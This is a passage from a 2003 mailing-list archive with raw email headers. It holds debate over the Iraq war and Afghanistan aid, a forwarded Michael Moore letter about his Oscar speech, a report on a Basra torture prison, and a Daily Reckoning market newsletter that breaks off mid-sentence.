dangerous radical. But the secret police headquarters had more horrors to reveal. One man whose relatives had been killed here said they had their hands tied behind their backs, and were left to hang from their arms for days on end. Crying out Saddam Hussein controlled Iraq through fear, torture and execution. It happened here to tens of thousands of Iraqis deemed dangerous by the secret police. Former prisoners showed how they were interrogated A man cowered for months, crammed with 300 others into a huge cell. Hameed Fatil told me he was tortured, along with his two brothers who were executed, and re-enacted their ordeal. Security officers kept record of prisoners. Their fingerprints are all that is left of them - apart from photographs of their interrogations. To call all this a chamber of horrors is a cliche - and this place is beyond cliche. The hundreds or thousands that died here and were given no trial, no voice, cry out. On the ground I found a book called the Psychology of Interrogation, as if the men who worked here needed a handbook. On my way out I was glad of the fresh air and glad to leave - glad that I could. No one knows yet whether the new Iraq will be the kind of place where children can grow up free of the fear, the horror of torture. * This is a pooled report by Bill Neely of Independent Television News. ********** (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) To subscribe to OBRL-News, go to this web site: http://groups.yahoo.com/group/OBRL-News-Bulletin/ and follow instructions. Or send a message to stating "subscribe OBRL-News" ------------------------ Yahoo! Groups Sponsor ---------------------~--> Get a FREE REFINANCE QUOTE - click here! http://us.click.yahoo.com/2CXtTB/ca0FAA/i5gGAA/PMYolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: OBRL-News-Bulletin-unsubscribe@yahoogroups.com OBRL-News-Bulletin is a product of the non-profit Orgone Biophysical Research Lab Greensprings Center, PO Box 1148 Ashland, Oregon 97520 USA Tel/Fax: 541-552-0118 email: info@orgonelab.org http://www.orgonelab.org Building upon the discoveries of the internationally acclaimed natural scientist, Wilhelm Reich. From vortexb-l-request@eskimo.com Wed Apr 9 14:46:43 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA05165; Wed, 9 Apr 2003 14:43:28 -0700 Resent-Date: Wed, 9 Apr 2003 14:43:28 -0700 Message-Id: <5.2.0.9.2.20030409171250.026c3cb8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 09 Apr 2003 17:43:47 -0400 To: vortexb-l@eskimo.com From: Jed Rothwell Subject: Afghanistan, Japanese occupation, etc. In-Reply-To: <003001c2fe61$61e251a0$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"x5akJ1.0.QG1.0G9b-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1640 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 116 Dave N. wrote: >Where do you get the idea that Afghanistan is reverting to chaos and >hatred of the US? Are you >reading the New York Times again? ; ) Many sources, including the Washington Post today: http://www.washingtonpost.com/wp-dyn/articles/A60023-2003Apr8.html Quote: "Seen from a complacent Washington, Afghanistan still may look better than it did before the U.S. intervention. But experts following the country say they worry about a steady unraveling, much like that which preceded the Taliban's seizure of power in the mid-1990s. The symptoms are similar: Outside the capital, warlords and bandits rule the country, sometimes battling each other and regularly robbing their fellow citizens at highway checkpoints. At the borders, aid shipments and 'customs collections' on imported goods are diverted to the warlords, depriving the central government of resources and revenue. The opium trade is booming. In some places, the Taliban's extreme practices, including the persecution of women, have been reimposed." Other sources say that in most places these extreme practices remain in force. Many schools for girls have been destroyed, and women are imprisoned or killed for adultery, remarriage, or marrying against their parents permission. People who favor democracy have been frightened into silence or assassinated. A different set of warlords have taken over -- that's all. It is hard to imagine how the U.S. might have prevented this, but perhaps some degree of foreign aid might have helped. The Bush administration proposed no aid at all -- zero dollars -- but other Republicans pushed through $300 million. That's $12 per capita in Afghanistan. Most of the money is being used to supply weapons to the new army, and most members of the army are defecting back to the tribal warlords and taking the weapons with them. In short, we are setting the stage to revive the civil war. > And the Confederacy?! Maybe they were sore about losing >the war for a couple decades, but the whole country *including the south* >got along well . . . The Confederacy remained at war with itself until 1965. It was a race war, like the ones in South Africa and Northern Ireland. It only occasionally flared up into full scale armed warfare with cities and towns destroyed, but overall tens of thousands were killed. The low-level guerrilla war triggered the largest mass-migration in history. >All of this, of course, is dependent on our leaders having planned the >peace as well or better than they did the war. Pray they did! They could not have. Planning for the war began a year and half ago, and thousands of experts were assigned. Planning for the occupation began two weeks before the invasion was launched, with a staff of a dozen people, mostly people who have not been in Iraq and do not speak the language, according to administration sources. They say they will leave the job up to the Iraqi people themselves. If the Roosevelt administration had done this, Japan and Germany would still be dictatorships. Planning for the occupation of Japan began in April 1943 (Cohen, p. 15), and it was done by experts. When the war ended, the Joint Chiefs of Staff handed MacArthur detailed orders (JCS 1380/15), which MacArthur implemented brilliantly. Without a detailed plan the whole effort would have been chaotic and uncontrollable, and the Japanese militarists would taken over again the moment the U.S. left. (They made every effort to do that, and for that matter they are still trying. They are about as likely to succeed as the present day secessionist movement in Georgia, that wants to rekindle the Civil War.) - Jed From vortexb-l-request@eskimo.com Wed Apr 9 17:09:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA08924; Wed, 9 Apr 2003 17:04:34 -0700 Resent-Date: Wed, 9 Apr 2003 17:04:34 -0700 Message-ID: <000501c2fef4$b5703420$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> <5.2.0.9.2.20030408182523.02722aa0@pop.mindspring.com> <5.2.0.9.2.20030409171250.026c3cb8@pop.mindspring.com> Subject: Re: Afghanistan, Japanese occupation, etc. Date: Wed, 9 Apr 2003 20:00:45 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"4bHhv3.0.LB2.HKBb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1641 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 117 Jed, | >Where do you get the idea that Afghanistan is reverting to chaos and | >hatred of the US? Are you | >reading the New York Times again? ; ) | | Many sources, including the Washington Post today: | | http://www.washingtonpost.com/wp-dyn/articles/A60023-2003Apr8.html That was an *editorial* not hard news. As I recall there were plenty of people who held the opinion that the war in Iraq would go badly for the US, this should indicate the value of opinion is relative at best. Don't claim you have 'many' sources, submit 'many' sources. Yes, the region still has problems, but I am confident they are being worked out. Time will tell. | Other sources say that in most places these extreme practices remain in | force. Many schools for girls have been destroyed, and women are imprisoned | or killed for adultery, remarriage, or marrying against their parents | permission. People who favor democracy have been frightened into silence or | assassinated. A different set of warlords have taken over -- that's all. It | is hard to imagine how the U.S. might have prevented this, but perhaps some | degree of foreign aid might have helped. The Bush administration proposed | no aid at all -- zero dollars -- but other Republicans pushed through $300 | million. That's $12 per capita in Afghanistan. Most of the money is being | used to supply weapons to the new army, and most members of the army are | defecting back to the tribal warlords and taking the weapons with them. In | short, we are setting the stage to revive the civil war. Ok, I'm only going to address the money point because I'm strapped for time. 65 nations have pledged $6.5 billion in aid: http://www.defenselink.mil/news/Dec2002/n12192002_200212194.html The US has *already delivered* $280 million, and has more on the way http://www.csmonitor.com/2002/0827/p01s03-wosc.html Looks like Bush *supported* giving $2.3 BILLION(!) to them: http://www.feminist.org/news/newsbyte/printnews.asp?id=7289 (Google cache of the above article if the link doesn't work) http://216.239.39.100/search?q=cache:-UuQ8tovTh8C:www.feminist.org/news/newsbyte/printnews.asp%3 Fid%3D7289+US+%22billion+in+aid+for+afghanistan%22&hl=en&start=2&ie=UTF-8 and http://www.namibian.com.na/2002/November/world/02972D1539.html AND THEY ACTUALLY APPROVED A BILLION MORE THAN THAT - 3.3 BILLION!!! http://usinfo.state.gov/regional/nea/sasia/afghan/text/1115act.htm So what you've claimed above is completely, totally and mind-bogglingly false! Jed, you constantly submit erroneous information to back up your arguments and freely substitute opinions as facts. I'm sorry, but I can't take you seriously any more. Dave From vortexb-l-request@eskimo.com Wed Apr 9 17:37:00 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA21330; Wed, 9 Apr 2003 17:32:47 -0700 Resent-Date: Wed, 9 Apr 2003 17:32:47 -0700 Message-ID: <00f601c2fef8$a9f27960$37b23b41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: A letter from M. Moore Date: Wed, 9 Apr 2003 17:32:11 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id RAA21303 Resent-Message-ID: <"2h9SA2.0.9D5.lkBb-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1642 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 118 Unflappably Good News From The Inestimable Michael Moore Date: Mon, 07 Apr 2003 17:23:20 -0700 Subject: Michael Moore's Oscar "Backlash": "Stupid White Men" Back At #1, "Bowling" Breaks New Records My Oscar "Backlash": "Stupid White Men" Back At #1, "Bowling" Breaks New Records April 7, 2003 Dear friends, It appears that the Bush administration will have succeeded in colonizing Iraq sometime in the next few days. This is a blunder of such magnitude -- and we will pay for it for years to come. It was not worth the life of one single American kid in uniform, let alone the thousands of Iraqis who have died, and my condolences and prayers go out to all of them. So, where are all those weapons of mass destruction that were the pretense for this war ? Ha! There is so much to say about all this, but I will save it for later. What I am most concerned about right now is that all of you -- the majority of Americans who did not support this war in the first place -- not go silent or be intimidated by what will be touted as some great military victory. Now, more than ever, the voices of peace and truth must be heard. I have received a lot of mail from people who are feeling a profound sense of despair and believe that their voices have been drowned out by the drums and bombs of false patriotism. Some are afraid of retaliation at work or at school or in their neighborhoods because they have been vocal proponents of peace. They have been told over and over that it is not "appropriate" to protest once the country is at war, and that your only duty now is to "support the troops." Can I share with you what it's been like for me since I used my time on the Oscar stage two weeks ago to speak out against Bush and this war ? I hope that, in reading what I'm about to tell you, you'll feel a bit more emboldened to make your voice heard in whatever way or forum that is open to you. When "Bowling for Columbine" was announced as the Oscar winner for Best Documentary at the Academy Awards, the audience rose to its feet. It was a great moment, one that I will always cherish. They were standing and cheering for a film that says we Americans are a uniquely violent people, using our massive stash of guns to kill each other and to use them against many countries around the world. They were applauding a film that shows George W. Bush using fictitious fears to frighten the public into giving him whatever he wants. And they were honoring a film that states the following: The first Gulf War was an attempt to reinstall the dictator of Kuwait; Saddam Hussein was armed with weapons from the United States; and the American government is responsible for the deaths of a half-million children in Iraq over the past decade through its sanctions and bombing. That was the movie they were cheering, that was the movie they voted for, and so I decided that is what I should acknowledge in my speech. And, thus, I said the following from the Oscar stage: "On behalf of our producers Kathleen Glynn and Michael Donovan (from Canada), I would like to thank the Academy for this award. I have invited the other Documentary nominees on stage with me. They are here in solidarity because we like non-fiction. We like non-fiction because we live in fictitious times. We live in a time where fictitious election results give us a fictitious president. We are now fighting a war for fictitious reasons. Whether it's the fiction of duct tape or the fictitious 'Orange Alerts,' we are against this war, Mr. Bush. Shame on you, Mr. Bush, shame on you. And, whenever you've got the Pope and the Dixie Chicks against you, you're time is up." Halfway through my remarks, some in the audience started to cheer. That immediately set off a group of people in the balcony who started to boo. Then those supporting my remarks started to shout down the booers. The L. A. Times reported that the director of the show started screaming at the orchestra "Music! Music!" in order to cut me off, so the band dutifully struck up a tune and my time was up. (For more on why I said what I said, you can read the op-ed I wrote for the L.A. Times, plus other reaction from around the country at my website www.michaelmoore.com) The next day -- and in the two weeks since -- the right-wing pundits and radio shock jocks have been calling for my head. So, has all this ruckus hurt me? Have they succeeded in "silencing" me ? Well, take a look at my Oscar "backlash": -- On the day after I criticized Bush and the war at the Academy Awards, attendance at "Bowling for Columbine" in theaters around the country went up 110% (source: Daily Variety /BoxOfficeMojo.com). The following weekend, the box office gross was up a whopping 73% (Variety). It is now the longest-running consecutive commercial release in America, 26 weeks in a row and still thriving. The number of theaters showing the film since the Oscars has INCREASED, and it has now bested the previous box office record for a documentary by nearly 300%. -- Yesterday (April 6), "Stupid White Men" shot back to #1 on the New York Times bestseller list. This is my book's 50th week on the list, 8 of them at number one, and this marks its fourth return to the top position, something that virtually never happens. -- In the week after the Oscars, my website was getting 10-20 million hits A DAY (one day we even got more hits than the White House!). The mail has been overwhelmingly positive and supportive (and the hate mail has been hilarious!). -- In the two days following the Oscars, more people pre-ordered the video for "Bowling for Columbine" on Amazon.com than the video for the Oscar winner for Best Picture, "Chicago". -- In the past week, I have obtained funding for my next documentary, and I have been offered a slot back on television to do an updated version of "TV Nation"/ "The Awful Truth." I tell you all of this because I want to counteract a message that is told to us all the time -- that, if you take a chance to speak out politically, you will live to regret it. It will hurt you in some way, usually financially. You could lose your job. Others may not hire you. You will lose friends. And on and on and on. Take the Dixie Chicks. I'm sure you've all heard by now that, because their lead singer mentioned how she was ashamed that Bush was from her home state of Texas, their record sales have "plummeted" and country stations are boycotting their music. The truth is that their sales are NOT down. This week, after all the attacks, their album is still at #1 on the Billboard country charts and, according to Entertainment Weekly, on the pop charts during all the brouhaha, they ROSE from #6 to #4. In the New York Times, Frank Rich reports that he tried to find a ticket to ANY of the Dixie Chicks' upcoming concerts but he couldn't because they were all sold out. (To read Rich's column from yesterday's Times, "Bowling for Kennebunkport," go here: http://www.michaelmoore.com/articles/index.php?article=20030406-nytimes ) He does a pretty good job of laying it all out and talks about my next film and the impact it could potentially have.) Their song, "Travelin' Soldier" (a beautiful anti-war ballad) was the most requested song on the internet last week. They have not been hurt at all -- but that is not what the media would have you believe. Why is that ? Because there is nothing more important now than to keep the voices of dissent -- and those who would dare to ask a question -- SILENT. And what better way than to try and take a few well-known entertainers down with a pack of lies so that the average Joe or Jane gets the message loud and clear: "Wow, if they would do that to the Dixie Chicks or Michael Moore, what would they do to little ol' me?" In other words, shut the f--- up. And that, my friends, is the real point of this film that I just got an Oscar for -- how those in charge use FEAR to manipulate the public into doing whatever they are told. Well, the good news -- if there can be any good news this week -- is that not only have neither I nor others been silenced, we have been joined by millions of Americans who think the same way we do. Don't let the false patriots intimidate you by setting the agenda or the terms of the debate. Don't be defeated by polls that show 70% of the public in favor of the war. Remember that these Americans being polled are the same Americans whose kids (or neighbor's kids) have been sent over to Iraq. They are scared for the troops and they are being cowed into supporting a war they did not want -- and they want even less to see their friends, family, and neighbors come home dead. Everyone supports the troops returning home alive and all of us need to reach out and let their families know that. Unfortunately, Bush and Co. are not through yet. This invasion and conquest will encourage them to do it again elsewhere. The real purpose of this war was to say to the rest of the world, "Don't Mess with Texas - If You Got What We Want, We're Coming to Get It!" This is not the time for the majority of us who believe in a peaceful America to be quiet. Make your voices heard. Despite what they have pulled off, it is still our country. Yours, Michael Moore www.michaelmoore.com Please FORWARD to Everyone From vortexb-l-request@eskimo.com Wed Apr 9 21:44:21 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA28032; Wed, 9 Apr 2003 21:39:44 -0700 Resent-Date: Wed, 9 Apr 2003 21:39:44 -0700 From: "xplorer" To: Subject: RE: Tell us again why you opposed the US in this war! Date: Thu, 10 Apr 2003 11:38:28 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal In-Reply-To: <007001c2fedc$feace880$1202a8c0@WorkGroup> Resent-Message-ID: <"A41gg3.0.xr6.GMFb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1643 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 119 No one seems to have picked up on the fact that the manual for interogation (Psychology of Interrogation) was written in French with arabic translation... > -----Original Message----- > From: Dave N. [mailto:dnarby@PunkAss.com] > Sent: Thursday, 2003 April 10 04:14 > To: vortexb-l@eskimo.com > Subject: Tell us again why you opposed the US in this war! > > >x< > Notice it's not what they report > as much as what they *leave out* of a story. - Dave > > http://www.foxnews.com/story/0,2933,83619,00.html > > Iraqis Tell of Torture in Secret Police Jail > Tuesday, April 08, 2003 > > BASRA, Iraq ? Iraqis showed journalists a white stone jail where they >x< > +++++ > > http://news.bbc.co.uk/2/hi/middle_east/2930739.stm > > Inside Saddam's torture chamber > By Bill Neely > Basra, southern Iraq > >x< +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > On the ground I found a book called the Psychology of Interrogation, > as if the men who worked here needed a handbook. >x< > > No one knows yet whether the new Iraq will be the kind of place where > children can grow up free of the fear, the horror of torture. Probably not, if history is any kind of a guide... From vortexb-l-request@eskimo.com Thu Apr 10 07:49:36 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA15262; Thu, 10 Apr 2003 07:45:16 -0700 Resent-Date: Thu, 10 Apr 2003 07:45:16 -0700 Message-ID: <000d01c2ff6f$bb81e4a0$1202a8c0@WorkGroup> From: "Dave N." To: References: Subject: Re: Tell us again why you opposed the US in this war! Date: Thu, 10 Apr 2003 01:56:10 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"ReiLR1.0.Kk3.yDOb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1644 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 120 Hey X, | No one seems to have picked up on the fact that the | manual for interogation (Psychology of Interrogation) | was written in French with arabic translation... | What?! Where did you read that? | > No one knows yet whether the new Iraq will be the kind of place where | > children can grow up free of the fear, the horror of torture. | | Probably not, if history is any kind of a guide... Well, they stand a better chance without Sodamn Insane, that's for sure - *And* if we do the right thing by the Iraqis. Those people have been screwed over by the west time and time again. We owe them big time. Best, Dave From vortexb-l-request@eskimo.com Thu Apr 10 09:46:47 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id JAA30971; Thu, 10 Apr 2003 09:41:05 -0700 Resent-Date: Thu, 10 Apr 2003 09:41:05 -0700 Message-ID: <018701c2ff7f$e481b370$37b23b41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: The reality of war Date: Thu, 10 Apr 2003 09:40:19 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id JAA30894 Resent-Message-ID: <"tLXkc1.0.sZ7.WwPb-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1645 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 121 The Reality Of War The Daily Reckoning Rome, Italy Thursday, 10 April 2003 --------------------- *** Subjugating the desert tribes - will it bring prosperity? The stock market doesn't seem to think so... --------------------- The modern-day Parthians, Medes, Seleucians and other rag- tag tribes of Mesopotamia have been nearly subdued. Today's imperial army is master of Baghdad, just as Emperor Trajan was 1900 years ago, and Alexander the Great several hundred years earlier. Mommsen's history tells us that Trajan, like Bush, faced resistance that was incompetent and disorganized. But the Parthians were treacherous and untrustworthy - even in their enslaved state. Just when the future seemed to be going as planned...and Trajan's expectations were at their bubble peak...the gods had plans of their own... "This moment, when Trajan seemed to have achieved all he had set out to do and stood at the peak of his power," Mommsen explains, "was seized on by all the recently subjugated nations to throw off their allegiance..." Trajan himself was almost killed...and died not long after... "...leaving his plans cut off in mid-execution," Mommsen continues. "Nevertheless, they cannot be accorded much chance of survival; there was a great deal of vain glory in them, and the entire enterprise is not to be taken seriously." We have come to Rome...and are sinking deep into the ruins of it. Our apartment overlooks the Capitoline on one side and unidentified old stones and bricks on the other. No empire was ever as long-lived...as grandiose...or as absurdly extravagant as the Roman example. None ever took on so many potential terrorists in so many different areas...and brought most of them to heel. What can be learned from her? Probably nothing. But here we give readers fair warning: that won't stop us from reciting various passages as if they were important. And now what? Have the problems that bedeviled the U.S. economy been blown away by the same Abrams tanks and B1 bombers that liberated Baghdad? Do consumers now have less debt...or more money to spend? Will corporate profits rise...and businesses begin hiring again? Investors had great expectations. But yesterday's market suggested that the victory on the Tigris may be a bit of a let-down. Stocks fell, the dollar fell, while gold rose $3.30. Gold is what people buy when their expectations turn a little less great. Over the next few years - as we keep saying - it would not surprise us if they bought even more of it. Over to Eric in New York: ----------- Eric Fry, reporting from Wall Street... - The stock market keeled over yesterday like a Saddam Hussein statue. The Dow toppled 101 points to 8,198 and the Nasdaq collapsed 26 to 1,357. Meanwhile, caution re- emerged, as bonds, gold and oil all rallied. - "Traders are hoping that as the statue of Saddam Hussein comes down, the green arrows will go up," yelped a hyper- excited Maria Bartiromo yesterday on CNBC's morning broadcast. Maria was referring to a live TV shot of a couple hundred "Baghdadians" toppling one of the couple thousand statues of Saddam Hussein that dot the Iraqi landscape. The statue's collapse triggered a brisk 90-point Dow rally. But the exuberance quickly faded, and the green arrows that Bartiromo had breathlessly anticipated turned a brilliant shade of red. - "At some point, and this moment may already be upon us," Ken Brown wrote prophetically in Wednesday morning's Wall Street Journal, "a TV image of soldiers blowing up a statue of Saddam Hussein will no longer set off a 100-point stock- market rally. Instead those annoying little details such as corporate earnings, growth prospects and valuation will reclaim their hold on the market." That dreaded moment seems to have arrived, as the growth-challenged US economy regains its stranglehold around the throat of the stock market, finger by finger. - Now that the "shock and awe" phase of the Iraqi war is drawing to a close, investors must acclimate themselves to the somewhat less exhilarating "occupy and reconstruct" phase. We doubt that this latter phase will get the bullish juices flowing on Wall Street. Nor can investors expect too many thrills back on the home front, as the post-bubble economy continues muddling through its "scrimp and save" phase. - But what about all of the "sideline" cash that has been piling up in money market funds for the last few months? Won't that rescue the stock market? According to the Investment Company Institute, fund managers have access to some $110 billion of cash sitting in stock mutual funds, and are ready to marshal these reserves at a moment's notice and charge into the stock market to secure the Dow Jones Industrial Average for the bulls. Furthermore, some $2.2 trillion is parked in money market funds. - Some market observers point to these billions (and trillions) of dollars sitting in bond funds and money market funds and say, "Aha! Look at all that cash that could storm into the stock market!" We look at that same pile of cash sitting in bond funds and say, "Wow! Look at all the cash that could flee the bond market!" Sure, the money MIGHT go into the stock market. But first, it would DEFINITELY come out of the bond market. In other words, not every bond fund seller will rush to buy 100 shares of Cisco Systems. Some might, instead, pay their taxes or buy groceries. - Who knows? Some bond fund sellers might even use the proceeds to make a down payment on a house...thereby swapping out of the bond bubble and into the housing bubble, if we may label either market a "bubble". Let's consult the experts: Alan Greenspan is no help whatsoever. By his own admission, the Chairman could not spot a bubble, even if it landed on his morning newspaper. By contrast, the International Monetary Fund claims a sort of clairvoyant vision. The august global financial body believes it sees a housing bubble in the making, and isn't afraid to say so. - "Housing booms such as those in the US and the UK over the past decade are frequently followed by crashes," the Financial Times reports. "Ken Rogoff, the [IMF's] chief economist, warned that the long boom in house prices - up 28 percent in the US since 1996, and 70 per cent in the UK since 1994, adjusted for inflation - put them in danger territory. 'Forty percent of all housing booms are followed by busts, with housing price drops that typically average 25-30 per cent,' Mr. Rogoff said." - Why worry? According to Rogoff's statistics, 60% of housing booms are NOT followed by busts...Sleep tight! ----------- Bill Bonner, back in Rome... *** Our old friend, Rick Ackerman, shares a letter from a reader: "There may be deflation in hard assets, but my auto insurance just went up 20%, my medical insurance just went up 18%, my homeowners insurance just went up 20%. Gasoline in my area is selling at $2.20 to $2.75 per gallon. The price of food items appears to be coming down in price - until you start to read the per ounce or other unit prices and find that actually, prices are rising. Yes, the price of computers is falling. There is the fool's belief that there is zero financing for autos, but in fact you are prepaying the interest if you take the deal. Cash or other financing gives you thousands off of the sticker price. Nobody is giving anything away. You may claim deflation, I claim a rising cost of living. What interests me is not what the numbers are manipulated to imply, but what it actually costs me to live from day to day. That is what I call inflation." Yes, Rick comments, but what is really happening is that the consumers' cost-of-living is rising at a time when he can least afford it - when he is carrying more debt than ever before. When he gets a $30,000 college tuition bill, he can't pay it without either refinancing his house - which increases his debt load - or selling assets. Or going broke. Either way, the effect might be a debt implosion, not inflation: "For example, take college tuitions and healthcare costs, which have been rising so steeply that, for most households, these necessities have recently come to exceed the limit of affordability. How could we not view surging healthcare bills and tuition costs as inflationary? Well, for those who remember the 1970s, the salient characteristic of inflation was that rising costs could be - and mostly were - readily passed through the system. This is no longer true, however, nor has it been true for more than a decade. For many businesses in the U.S., especially those involved in manufacturing, rising costs cannot be passed so easily on to the consumer; instead, they are ultimately charged against profits. As should be clear in this still-deepening recession, falling profits are deflationary to the extent they lead to lower employment as well as to lower stock market valuations." [Editor's Note: For more on the inflation/deflation debate, see Dr. Hans Sennholz' article: "The Perils of Deflation"] http://www.dailyreckoning.com/body_headline.cfm?id=3084 http://www.agora-inc.com/reports/FST/SeeMoreNow/ --------------------- The Daily Reckoning PRESENTS: As the international geopolitical scene grows ever more tense, what are the foreseeable long-term repercussions? Taking a peek at tomorrow's headlines, Dr. Marc Faber admits that "the financial markets and financial intermediaries seem to me to be particularly vulnerable"... THE REALITY OF WAR by Marc Faber There is an important point investors should be aware of, which may have been overlooked during the peaceful and financial bubble years of the 1990s: wartimes are common in the history of the world; it is times of peace that are the exception. According to the historian Will Durant, war is one of the constants of history, and has not diminished with civilization or democracy. In the last 3,421 years of recorded history, only 268 have seen no war. Just look at the period between 1895 and 1918. During this brief span of years, there were continuous conflicts around the world, including the Russo-Japanese War (1895), the war between Turkey and Greece over Crete (1897), the Spanish- American War of 1898, the Anglo-Boer War of 1899-1902, the military expeditions of the great powers in China in 1900, the Russo-Japanese War (1904-1905), the Russian Revolution of 1905, the Turkish Revolution of 1908, the French military expedition in Morocco (1907), the military conflict between Italy and Turkey over Tripoli (1911), the First Balkan War (1912), the Second Balkan War (1913), the Chinese Revolution of 1911, the First World War (1914- 1918), the February Revolution in Russia (1917), the October Revolution and the Russian Civil War (1917-1921). According to Durant, the causes of war are the same as the causes of competition among individuals: acquisitiveness, pugnacity, and pride; the desire for food, land, materials, fuels, and mastery. The state has our instincts without our restraints. The individual submits to restraints laid upon him by morals and laws, and agrees to replace combat with conference, because the state guarantees him basic protection in his life, property, and legal rights. The state itself acknowledges no substantial restraints, either because it is strong enough to defy any interference with its will, or because there is no super-state to offer basic protection, and no international law or moral code wielding effective force. As to the causes of the Iraq war, I leave them to the reader to ponder. I am not necessarily suggesting that the next 20 years will be as turbulent as the first 20 years of the 20th century. But we must realize that the late 1980s and 1990s were extremely unusual from a historical point of view, since, aside from some minor conflicts, there were no major wars or revolutions. So, purely from a probability point of view, investors should not expect the relatively peaceful time that has followed the Korean War, and especially the peace dividend we have enjoyed over the last 15 years or so, to continue forever. The peace dividend that followed the end of the cold war was certainly a contributing factor to higher stock valuations around the world (declining interest rates and rising profits aside). If the world is now moving into an era of increased tensions, then this will be an additional negative factor for equity valuations. Moreover, during the relatively peaceful 50 years that followed the Second World War, trade as a percentage of GDP increased rapidly and peace allowed a truly global capital market to be created, both of which factors were favorable for economic development around the world. As a percentage of the world's GDP, trade increased from around 5% in the 1950s to over 20% at present. Moreover, since the creation of a truly global capital market in the late 1980s, international capital flows financed the investment boom in the emerging economies in the early 1990s, and have in the last few years financed the excessive consumption in the U.S., which is reflected by the growing American current account deficit. If we assume, therefore, that rising global trade and an increase in global financial flows had something to do with peace around the world in the 1990s, we should also assume that in the case of increased geopolitical tensions and, especially, a major conflict, there could be some interruption in these favorable trade and financial trends. In the worst case, severe geopolitical tensions could lead to an interruption of free trade or of international financial flows and bring about supply shortages, trade embargos or outright trade wars, the imposition of foreign exchange controls, and even the freezing of assets held by foreigners or, in an extreme case, their outright expropriation. In short, the financial markets and financial intermediaries seem to me to be particularly vulnerable, since they have become so disproportionately large in comparison to the real economy. One point is clear to me. In the next major conflict in the world, the derivatives market is most likely to cease to exist, since financial institutions throughout the world hold derivative positions. Therefore, if one major player somewhere in the world doesn't settle or fails altogether, a vicious chain reaction could follow, with the result that the markets will be closed. It is not my intention to sound alarmist, but I think that investors who grew up during the last 50 years have no idea of what unpleasant financial and economic consequences might result from a major conflict. Throughout history, asset freezes, the imposition of foreign exchange controls, and expropriations have been very common, and I have no 